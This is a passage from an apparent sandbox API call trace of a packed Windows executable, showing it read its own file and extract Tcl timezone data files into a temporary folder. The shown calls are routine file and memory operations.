lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.188] CloseHandle (hObject=0x10c) returned 1 [0043.188] GetLastError () returned 0x0 [0043.188] SetLastError (dwErrCode=0x0) [0043.188] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.188] GetFileType (hFile=0x10c) returned 0x1 [0043.188] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.189] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.189] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.189] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.189] CloseHandle (hObject=0x10c) returned 1 [0043.189] GetLastError () returned 0x0 [0043.189] SetLastError (dwErrCode=0x0) [0043.189] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Midway") returned 71 [0043.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Midway" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\midway"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.189] GetLastError () returned 0x2 [0043.189] SetLastError (dwErrCode=0x2) [0043.189] GetLastError () returned 0x2 [0043.189] SetLastError (dwErrCode=0x2) [0043.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Midway", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Midway", lpFilePart=0x0) returned 0x46 [0043.189] GetLastError () returned 0x2 [0043.189] SetLastError (dwErrCode=0x2) [0043.189] GetLastError () returned 0x2 [0043.189] SetLastError (dwErrCode=0x2) [0043.189] GetLastError () returned 0x2 [0043.189] SetLastError (dwErrCode=0x2) [0043.189] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Midway") returned 71 [0043.189] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Midway" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\midway"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.190] GetFileType (hFile=0x10c) returned 0x1 [0043.190] htonl (hostlong=0xa010000) returned 0x10a [0043.190] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.190] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x10a, lpOverlapped=0x0) returned 1 [0043.190] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.191] CloseHandle (hObject=0x10c) returned 1 [0043.191] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.191] htonl (hostlong=0x30000000) returned 0x30 [0043.191] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.191] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.191] GetFileType (hFile=0x10c) returned 0x1 [0043.191] htonl (hostlong=0x8e1b5d00) returned 0x5d1b8e [0043.191] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61cb8e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.191] htonl (hostlong=0xa8000000) returned 0xa8 [0043.191] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa8) returned 0x544fc0 [0043.191] htonl (hostlong=0xa8000000) returned 0xa8 [0043.191] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.191] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.191] htonl (hostlong=0xe7000000) returned 0xe7 [0043.191] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe7) returned 0x550600 [0043.191] htonl (hostlong=0xa8000000) returned 0xa8 [0043.191] htonl (hostlong=0xe7000000) returned 0xe7 [0043.191] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.191] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.191] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544fc0 | out: hHeap=0x530000) returned 1 [0043.191] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.191] CloseHandle (hObject=0x10c) returned 1 [0043.191] GetLastError () returned 0x0 [0043.192] SetLastError (dwErrCode=0x0) [0043.192] GetLastError () returned 0x0 [0043.192] SetLastError (dwErrCode=0x0) [0043.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.192] GetFileType (hFile=0x10c) returned 0x1 [0043.192] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.192] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.192] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.192] CloseHandle (hObject=0x10c) returned 1 [0043.192] GetLastError () returned 0x0 [0043.192] SetLastError (dwErrCode=0x0) [0043.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.192] GetFileType (hFile=0x10c) returned 0x1 [0043.192] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.192] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.193] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.193] CloseHandle (hObject=0x10c) returned 1 [0043.193] GetLastError () returned 0x0 [0043.193] SetLastError (dwErrCode=0x0) [0043.193] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.193] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.193] GetFileType (hFile=0x10c) returned 0x1 [0043.193] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.193] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.193] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.193] CloseHandle (hObject=0x10c) returned 1 [0043.193] GetLastError () returned 0x0 [0043.193] SetLastError (dwErrCode=0x0) [0043.193] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Nauru") returned 70 [0043.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Nauru" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\nauru"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.194] GetLastError () returned 0x2 [0043.194] SetLastError (dwErrCode=0x2) [0043.194] GetLastError () returned 0x2 [0043.194] SetLastError (dwErrCode=0x2) [0043.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Nauru", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Nauru", lpFilePart=0x0) returned 0x45 [0043.194] GetLastError () returned 0x2 [0043.194] SetLastError (dwErrCode=0x2) [0043.194] GetLastError () returned 0x2 [0043.194] SetLastError (dwErrCode=0x2) [0043.194] GetLastError () returned 0x2 [0043.194] SetLastError (dwErrCode=0x2) [0043.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Nauru") returned 70 [0043.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Nauru" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\nauru"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.194] GetFileType (hFile=0x10c) returned 0x1 [0043.194] htonl (hostlong=0xe7000000) returned 0xe7 [0043.194] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.194] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe7, lpOverlapped=0x0) returned 1 [0043.195] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.195] CloseHandle (hObject=0x10c) returned 1 [0043.195] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.195] htonl (hostlong=0x30000000) returned 0x30 [0043.195] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.195] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.195] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.196] GetFileType (hFile=0x10c) returned 0x1 [0043.196] htonl (hostlong=0x361c5d00) returned 0x5d1c36 [0043.196] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61cc36, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.196] htonl (hostlong=0x9f000000) returned 0x9f [0043.196] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0043.196] htonl (hostlong=0x9f000000) returned 0x9f [0043.196] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.196] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.196] htonl (hostlong=0xcd000000) returned 0xcd [0043.196] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcd) returned 0x546940 [0043.196] htonl (hostlong=0x9f000000) returned 0x9f [0043.196] htonl (hostlong=0xcd000000) returned 0xcd [0043.196] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.196] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.196] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.196] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.196] CloseHandle (hObject=0x10c) returned 1 [0043.196] GetLastError () returned 0x0 [0043.196] SetLastError (dwErrCode=0x0) [0043.196] GetLastError () returned 0x0 [0043.196] SetLastError (dwErrCode=0x0) [0043.196] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.196] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.196] GetFileType (hFile=0x10c) returned 0x1 [0043.197] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.197] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.197] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.197] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.197] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.197] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.197] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.197] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.197] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.197] CloseHandle (hObject=0x10c) returned 1 [0043.197] GetLastError () returned 0x0 [0043.197] SetLastError (dwErrCode=0x0) [0043.197] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.197] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.197] GetFileType (hFile=0x10c) returned 0x1 [0043.197] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.197] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.197] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.197] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.197] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.197] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.197] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.197] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.197] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.197] CloseHandle (hObject=0x10c) returned 1 [0043.198] GetLastError () returned 0x0 [0043.198] SetLastError (dwErrCode=0x0) [0043.198] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.198] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: 